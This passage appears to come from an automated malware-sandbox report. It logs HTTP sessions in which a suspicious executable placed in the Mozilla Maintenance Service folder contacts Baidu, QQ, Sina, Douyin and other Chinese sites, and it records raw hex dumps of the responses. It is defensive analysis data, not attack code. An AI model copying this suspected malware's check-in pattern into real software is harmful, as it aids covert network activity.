Aug 5, 2024 11:59:18.162826061 CEST	224	IN	Data Raw: 41 57 3f ee 1a f4 b0 7f e0 b1 34 35 f9 e8 ec 04 45 14 f2 83 b1 5d 47 80 29 be 80 04 e9 a6 2b 1f e3 2a 94 19 83 27 49 27 4e 6e db 05 43 b0 50 d0 3c ff 41 20 bb 5f 75 4a c5 8e 4d e2 50 6a 1f bc 76 bf 62 e4 2f ec 36 5f 27 bc ac b6 90 d1 7a 51 88 f8 Data Ascii: AW?45E]G)+*'I'NnCP<A _uJMPjvb/6_'zQ&-(8N)%(Bzk(5[kx?QVI9}H\UX5U<UL\|]\|6#W@27,I#n5oW[tb{[W%iR^LA
Aug 5, 2024 11:59:18.162834883 CEST	1236	IN	Data Raw: 31 ce 4b d4 8d b9 ee 1c bf 0e 83 c7 ab 1a 52 8c 02 8a bb fc 5c 44 99 1f c5 c9 65 3f 37 aa 72 0a 3c 34 54 cb 6e 10 e4 51 d7 5e 93 ab 03 30 88 77 44 2a 93 9b 91 2d d2 6e e8 22 e5 11 04 8d ad 4d 60 23 ea 55 e9 de 8e d0 14 c5 7d a7 23 57 95 22 b8 cd Data Ascii: 1KR\De?7r<4TnQ^0wD-n"M`#U}#W"T<r(v\^:c#8>^+pt!C0\~){/Kt5)IkUit6G[Cg`q9.^E.~87T"iyy;DXr"sd5.u@V#d
Aug 5, 2024 11:59:18.162854910 CEST	1236	IN	Data Raw: d1 28 83 05 df eb a5 ca 7d db 8e 66 3f f0 93 5b fa a3 27 d0 69 12 17 8f ca 0f 81 25 d0 c7 5f 77 69 d6 ed eb c5 b1 38 fa f6 5f 72 e8 99 1f 5f ca 3f a0 05 bc ea a2 ba df 3e f5 5f c5 41 c1 13 18 f9 94 a7 5c 60 97 b9 50 f6 f4 3b 7e 0d 75 77 b4 d2 3f Data Ascii: (}f?['i%_wi8_r_?>_A\`P;~uw?SD~g9^y(fk2 lT8onu g`uBjuE)MOD:="(;a0N^RMt_ 6G>2o<17ed-%j\|_`
Aug 5, 2024 11:59:18.162866116 CEST	1236	IN	Data Raw: 2b de 4e 3c 27 e5 9f ab 60 9d 6a f1 d7 1c 5a 27 f2 df 00 b9 4d 80 a4 2f 04 47 d2 e0 25 8a a2 0a a9 9b 63 37 21 77 5e f5 70 59 d4 53 17 14 1b 04 e8 54 29 f0 bf 54 2f b3 fb 64 fc f0 d4 ac b9 22 19 8b 1d a9 ed da 1b c3 15 78 c1 64 4f 91 fc 1b 13 fd Data Ascii: +N<'`jZ'M/G%c7!w^pYST)T/d"xdOf0GFCl_Fs bj;7Ci]'J'1*$d=:&X RJi7?-7Kv^,2]\|U\|([^l6Tx7.CGu#_D6^$){71
Aug 5, 2024 11:59:18.162878036 CEST	1236	IN	Data Raw: 3b 34 a6 e9 09 a4 c0 77 e6 8e 21 5b 30 a0 fd 65 15 88 45 19 21 8d 34 e8 46 5b 75 ab 30 47 da 4e 63 51 d6 85 f7 20 21 a8 00 7f ed 29 cc 63 12 d4 3c 5b db 44 bc 60 52 ed cc c9 95 3c d7 bd 46 ad bc 8f 85 b3 bd 46 78 66 ef e2 fd b2 75 09 96 d9 e7 90 Data Ascii: ;4w![0eE!4F[u0GNcQ !)c<[D`R<FFxfu1l#b~o;LA,kh`v=\}MNFE{9{*`AY\H9%ec-RqQ&EH-2;V~BsTD`<JYNOfo7QrNUR:
Aug 5, 2024 11:59:18.162889957 CEST	773	IN	Data Raw: 44 4c 0f 86 18 98 d1 4b 61 ca 84 81 83 58 e4 ca 6e 5b a2 ec eb 83 0e 4b 41 fd 90 b6 24 fc 70 b5 18 af f2 bb 46 ee 20 55 73 d9 a2 a7 fd e5 9c 5e 7c ac f4 c1 7a 06 c6 e6 e7 f8 35 49 71 80 a8 cb 12 4e 5e 85 53 85 40 45 94 39 29 06 f0 3a 7b 48 65 5a Data Ascii: DLKaXn[KA$pF Us^\|z5IqN^S@E9):{HeZ9WB#f$US:B2o7vPve{xix&qi%{hW[=b+\Z5~"~[o*wY54KRe6yXtC[4
Aug 5, 2024 11:59:18.162900925 CEST	1236	IN	Data Raw: ba 0d b3 58 40 5b ce f0 82 a0 17 03 c2 a9 c3 96 46 e4 19 77 19 3f b2 59 a0 cc 99 9d de 32 48 1c 41 85 1a a7 b3 25 f5 d4 29 d9 65 5d 79 77 1f 75 55 13 cd 72 5e a0 2d 5c ae 4b b4 ee dc fc c0 06 3c 12 d1 0e 00 4c aa 01 76 6d 88 2b 82 8d 6e 1a d2 2a Data Ascii: X@[Fw?Y2HA%)e]ywuUr^-\K<Lvm+n*KO-Eswj!2kD2EEBrJ}8&\|YL7??Tzm1} (',z.CY.N&i-="`.Oa\cE>uY7
Aug 5, 2024 11:59:18.162915945 CEST	16	IN	Data Raw: f2 f7 0c 3e 66 d9 0b ea aa 5c a9 58 f3 65 58 27 Data Ascii: >f\XeX'
Aug 5, 2024 11:59:18.162925005 CEST	1236	IN	Data Raw: 7b cd d5 9b 34 3d 19 12 f9 23 77 dd aa 6f 3a 4c d3 aa 77 a9 b3 56 10 e2 41 80 5f 76 fc 9f d3 bc 6a 97 2e c1 4c 0b d5 26 04 24 51 96 f6 7c 92 f1 b7 45 34 d8 2b 3f 3d fb a6 da e7 7b 47 6f 3d 22 53 68 8d 34 f2 d7 24 e3 06 f8 4a 13 63 32 7d d7 49 dd Data Ascii: {4=#wo:LwVA_vj.L&$Q\|E4+?={Go="Sh4$Jc2}Irs3}lfd\|en%DokuQ`[m1F460.=Ky xVStgmL..U}S5\| 4dBf$;*}:\.M++m
Aug 5, 2024 11:59:18.163388968 CEST	1236	IN	Data Raw: c5 6a ba ce 7f c1 ea 2f 6e 5e ce 6f b0 56 8b 91 0e 9f 91 55 76 7b 05 e2 c4 95 c8 16 b1 e6 94 2a 2e aa 3a be 17 9d c0 79 1a cd 9b 24 99 a6 c0 11 0a 9e 1d 26 67 be 81 f3 20 c7 27 36 7b fa bd 57 18 70 39 d3 94 bd 1d 8a df b8 1f 0f 44 6e bc cb a2 e1 Data Ascii: j/n^oVUv{.:y$&g '6{Wp9Dn)dt\|IL3/%$aRU^w?kLM_?<p!`+i^]>\Wxcl&VPV01D8uS_T#kkf&Ol7_ G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49742	47.88.198.68	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:29.662838936 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.aliyun.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:30.583677053 CEST	506	IN	HTTP/1.1 301 Moved Permanently Server: Tengine Date: Mon, 05 Aug 2024 09:59:30 GMT Content-Type: text/html Content-Length: 239 Connection: keep-alive Location: https://www.aliyun.com/ EagleEye-TraceId: 0a58315817228519704264521e41af Timing-Allow-Origin: * Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr/>Powered by Tengine<hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49743	103.102.202.106	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:29.819061995 CEST	222	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.kuaishou.com Range: bytes=0- Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49744	123.125.23.221	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:29.852729082 CEST	223	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sinacloud.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:30.736273050 CEST	376	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Mon, 05 Aug 2024 09:59:20 GMT Content-Type: text/html Content-Length: 182 Connection: keep-alive Location: https://www.sinacloud.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49745	163.181.130.189	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.035367966 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.douyin.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:30.684051037 CEST	588	IN	HTTP/1.1 301 Moved Permanently Server: Tengine Date: Mon, 05 Aug 2024 09:59:30 GMT Content-Type: text/html Content-Length: 262 Connection: keep-alive Location: https://www.douyin.com/ x-tt-trace-tag: id=03;cdn-cache=miss;type=dyn Via: ens-cache3.de8[,0] Timing-Allow-Origin: * EagleId: a3b5828717228519705955121e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 68 61 73 20 62 65 65 6e 20 61 73 73 69 67 6e 65 64 20 61 20 6e 65 77 20 70 65 72 6d 61 6e 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>301 Moved Permanently</h1><p>The requested resource has been assigned a new permanent URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49747	43.132.73.61	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.229871988 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.qq.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:31.201139927 CEST	369	IN	HTTP/1.1 302 Found Server: stgw Content-Type: text/html Location: https://www.qq.com/ Content-Length: 137 Connection: keep-alive Date: Mon, 05 Aug 2024 09:59:30 GMT EO-LOG-UUID: 10474883138975328664 EO-Cache-Status: MISS Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 73 74 67 77 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>stgw</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49748	119.28.109.132	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.252803087 CEST	219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sogou.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:31.341622114 CEST	564	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Mon, 05 Aug 2024 09:59:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: ABTEST=0\|1722851971\|v17; expires=Wed, 04-Sep-24 09:59:31 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://www.sogou.com/ UUID: dc1929b5-a375-485f-b056-2a8f0805a62a Data Raw: 38 61 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 8a<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49749	103.235.46.96	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.254924059 CEST	219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.baidu.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:31.199671030 CEST	1236	IN	HTTP/1.1 200 OK Bdpagetype: 1 Bdqid: 0x91c1f37600330613 Connection: keep-alive Content-Encoding: gzip Content-Type: text/html; charset=utf-8 Date: Mon, 05 Aug 2024 09:59:31 GMT P3p: CP=" OTI DSP COR IVA OUR IND COM " P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: BWS/1.1 Set-Cookie: BAIDUID=5832BF1F378C1FA638493269BD2F30D7:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BIDUPSID=5832BF1F378C1FA638493269BD2F30D7; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: PSTM=1722851971; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BAIDUID=5832BF1F378C1FA62D3F24AE3C2621D2:FG=1; max-age=31536000; expires=Tue, 05-Aug-25 09:59:31 GMT; domain=.baidu.com; path=/; version=1; comment=bd Set-Cookie: BDSVRTM=34; path=/ Set-Cookie: BD_HOME=1; path=/ Traceid: 1722851971041177703410502943494139741715 X-Ua-Compatible: IE=Edge,chrome=1 X-Xss-Protection: 1;mode=block Transfer-Encoding: chunked Data Raw: 62 64 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 69 93 1c 4b 72 18 f8 1d bf a2 d8 6d 43 00 53 5d f7 dd 18 3c b2 4f a0 71 74 17 fa 00 1a cd 37 db 96 95 95 59 55 e8 ba ba b2 aa fa 12 cc 48 69 47 94 56 cb cb 68 92 6c 45 ae 76 49 33 ad ed 9a ed 0e 29 5b 6a c5 25 45 f2 c7 68 de 9b 99 4f fb 17 d6 dd 23 22 33 ae ac a3 d1 20 25 33 bd 7a 00 aa 32 e3 f0 f0 f0 f0 f0 f0 2b 7e f4 2b db 07 5b c7 1f eb 3b 89 f6 b8 d7 fd e6 47 bf 92 4a 1d 1d 6f 1c 9f 1c 25 0e 5e a7 52 df fc 88 3d 6d 7b 4e f3 9b 1f f5 bc b1 03 c5 c6 c3 94 77 39 e9 4c 9f af 6c 0d fa 63 af 3f Data Ascii: bdciKrmCS]<Oqt7YUHiGVhlEvI3)[j%EhO#"3 %3z2+~+[;GJo%^R=m{Nw9Llc?
Aug 5, 2024 11:59:31.199698925 CEST	1236	IN	Data Raw: 4e 1d df 0c bd 95 84 cb 7e 3d 5f 19 7b d7 e3 0c 56 7c e6 b6 9d 51 e0 8d 9f 4f c6 7e aa ba 62 69 e1 34 75 b2 91 da 1a f4 86 ce b8 d3 e8 ca 8d ec ed 3c f7 9a 2d 6f cd 6d 8f 06 3d ef 79 4e d4 0e 7b 71 ba 57 ce 4d b0 92 e8 3b f0 7a 65 e4 f9 de 68 e4 Data Ascii: N~=_{V\|QO~bi4u<-om=yN{qWM;zehD1tz^t#US6u/'Ow?g?7_???wo/~/g?~_?
Aug 5, 2024 11:59:31.199712038 CEST	1236	IN	Data Raw: b0 1f 95 76 d9 08 81 e1 59 26 fb aa dd 19 7b 29 20 45 d7 03 1e 71 35 72 86 cf b4 65 fd 39 16 a4 04 e0 9b 2f af 1c a0 ef 19 5f 3d f4 9d 63 b5 02 58 45 cc c2 e2 4b 64 9f 01 bf 80 1d d7 e9 02 72 3a ad fe 7a 0f d8 46 d7 9b d1 3e ae 90 3b 0e 3d 21 18 Data Ascii: vY&{) Eq5re9/_=cXEKdr:zF>;=!hT$qXxa ~f&:SH2Q8IKY,<W+pV3CR1T;P<>ydFlneEtx"g/HEYi.ws(~?r6tSS/>)qEwo
Aug 5, 2024 11:59:31.199722052 CEST	1236	IN	Data Raw: 34 86 59 13 b8 d0 18 12 69 50 47 71 43 06 a9 9a d7 66 53 2b e0 1a 46 ce 6a b5 3b a8 26 bc a1 6a 42 09 c2 86 22 0d 24 9f cf 2f 06 08 a9 52 94 d1 2f 56 af c1 44 52 53 ff b5 40 cf b2 6e 53 57 5f 22 ef b6 c9 97 62 86 6a b9 5a 69 a3 f0 8c ab 07 60 77 Data Ascii: 4YiPGqCfS+Fj;&jB"$/R/VDRS@nSW_"bjZi`woD+njyMdv7Vug^Ly4gf*berr-!a5v#gk5[ZOoY6,O8$-?gARms9.bzu?X'iS7j5'
Aug 5, 2024 11:59:31.199733973 CEST	896	IN	Data Raw: 92 06 2a 1a 68 00 0e 80 de 93 5c 3a 5b 5d c3 bf 9e c6 42 08 1d 9f 73 cb 77 cc 50 a9 63 56 46 b1 6f 73 f5 be 7a 38 91 65 50 9c 73 36 73 15 14 26 cc 9d 40 5f 3a b2 f8 21 99 1d 61 8c 16 59 56 d0 63 9e 2d 7f dc e0 e3 50 17 8e 91 cb ce b3 29 9d 0d 55 Data Ascii: *h\:[]BswPcVFosz8ePs6s&@_:!aYVc-P)U?gTd`i.EeV9La<%!<</0edIkqpWxz3F5>[B7t,ZcYkLl5kM=ZEkZ.k{^7Awmvqs
Aug 5, 2024 11:59:31.199744940 CEST	1236	IN	Data Raw: fe 9b 58 05 c4 b3 30 2c 72 b6 c9 61 60 16 60 25 1a bb f8 26 46 18 fe 56 c6 a1 23 7d 86 8b 61 0e fd 83 a0 0b a2 97 f0 60 c1 fa e4 44 6a ca 4b 8a eb 49 b1 48 de 30 2c c2 89 ab 32 f1 d0 11 ae e9 50 13 1a 4d 7d b5 86 8a 0b 45 e8 c4 97 86 5c 4a 8c 4c Data Ascii: X0,ra``%&FV#}a`DjKIH0,2PM}E\JL6~KK'#(PA /5knKQ[]D<TKh4OXhx\|H2rhbFEo)vhX)N
Aug 5, 2024 11:59:31.199757099 CEST	1236	IN	Data Raw: 84 63 49 90 e6 ea 9c 75 57 65 67 e7 5f 27 1e e4 43 18 a5 a2 ff 76 f7 40 cd 8f af 9e 05 23 97 82 b0 17 3f b3 61 35 8a bf a6 a6 dd a6 ef b9 8d 2a 84 57 a4 bd c1 f8 f1 d3 07 6e f0 d7 56 c1 4f a4 73 0d e7 41 1c 9c 33 7e f2 d8 eb 35 3c 88 07 6c a6 30 Data Ascii: cIuWeg_'Cv@#?a5WnVOsA3~5<l0?]N1SM/jZQSZ_{TzlQNr{TlrN#L[bAJ;2><0#}#4s1LAEjg>1KL,Va_p?Td2E9c
Aug 5, 2024 11:59:31.199767113 CEST	1236	IN	Data Raw: 52 23 d3 9d 80 0a 5f 1a 2d e8 85 80 c1 5d 84 e8 ac 95 72 0d 86 51 f0 b5 40 be 04 ff e8 2d 00 ce 65 67 30 56 c8 ce 3b f4 64 e2 5c 65 45 c9 93 3a fd 36 e4 4c 1a 33 be 21 a5 a2 31 f9 ab 35 04 f1 19 84 09 20 6f 06 c3 62 18 5a c3 65 57 32 c1 73 5d 19 Data Ascii: R#_-]rQ@-eg0V;d\eE:6L3!15 obZeW2s]~Y8Xx@I(+>,3.Kg,k[2*K\4/$w)N.6~nMB4Uct[aE5R>L(3\)spX)4PKjq24
Aug 5, 2024 11:59:31.199778080 CEST	1236	IN	Data Raw: 76 46 b0 ef cb 71 7a d9 a7 4a d4 5e b6 f8 d4 1a fd 17 10 9d 2d dd 54 38 3c 86 59 d0 2a f1 f8 f3 c7 96 13 82 32 56 be d2 a3 dc 71 ac 85 f8 84 3d 61 57 6c 8c da 22 c6 50 44 d3 c1 10 59 25 a6 84 b0 ab 2e 49 e1 1f 7f 8e 15 27 24 e0 86 ba 6c 65 c0 ba Data Ascii: vFqzJ^-T8<Y2Vq=aWl"PDY%.I'$leE&qCczJYisu`^G"L~Y3#zd%DQl+R6gQ:<K\BQYZ/[I"=@EA(R%NCT98A*[6
Aug 5, 2024 11:59:31.199790955 CEST	1236	IN	Data Raw: 08 ee 52 ca 3b 78 b8 50 18 54 72 42 c6 12 35 5a 92 46 ce bb 02 2d b4 38 95 55 c5 a1 3e 7c 45 87 19 d1 42 4a 44 5c 16 c2 d0 15 51 30 e0 6d d4 f0 0a 4c a5 75 b8 3a dc d6 44 9e 05 2d fc 3a 3a 10 3b 09 30 c0 c3 86 96 70 fa cd c4 93 e8 8e 95 5c 01 a3 Data Ascii: R;xPTrB5ZF-8U>\|EBJD\Q0mLu:D-::;0p\!Iu3N1YOvR4+NJbRZVegTR9D$R]%B75FkbG;LLDB2C9!Yt`I,M>Zj>J+tD
Aug 5, 2024 11:59:31.204741955 CEST	1236	IN	Data Raw: e6 fa 55 b7 ca b8 25 e6 c4 4c 5f 4e e0 12 65 c8 67 ea c1 75 12 c8 73 4c de 01 13 00 66 d6 73 c4 96 49 bf 7c 15 e6 8a 18 92 83 b1 3e 39 5b 38 30 97 18 88 a2 e7 e5 86 af 50 04 8f d8 02 71 12 e1 fa 43 3e 4f 55 0a 97 51 b6 40 44 10 33 9d 11 bf 91 22 Data Ascii: U%L_NegusLfsI\|>9[80PqC>OUQ@D3"~,kNB\!p&i:bbWGFseVuw^a@XDX?p:KuXj@[JQ\b;T2`m/b+R!#aA]U"tXtxP$3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49750	43.159.70.125	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.263690948 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sohu.com Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:31.173038960 CEST	225	IN	HTTP/1.1 302 Found Location: https://www.sohu.com/ Content-Length: 0 X-NWS-LOG-UUID: 7353470890818391389 Connection: keep-alive Server: OverSea_E0 Date: Mon, 05 Aug 2024 09:59:30 GMT X-Cache-Lookup: Return Directly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49751	163.181.201.231	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:59:30.285146952 CEST	221	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sina.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 5, 2024 11:59:31.226146936 CEST	583	IN	HTTP/1.1 302 Found Server: Tengine Date: Mon, 05 Aug 2024 09:59:31 GMT Content-Type: text/html Content-Length: 242 Connection: keep-alive Location: https://www.sina.com.cn/ X-DSL-CHECK: 5 X-Via-CDN: f=aliyun,s=ens-cache11.sg25,c=8.46.123.33; Via: ens-cache11.sg25[,0] Timing-Allow-Origin: * EagleId: a3b5c99f17228519710623659e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 72 65 73 69 64 65 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 64 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>302 Found</h1><p>The requested resource resides temporarily under a different URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49752	104.192.110.226	80	5580	C:\Program Files (x86)\Mozilla Maintenance Service\F7BE15F582DD9.exe

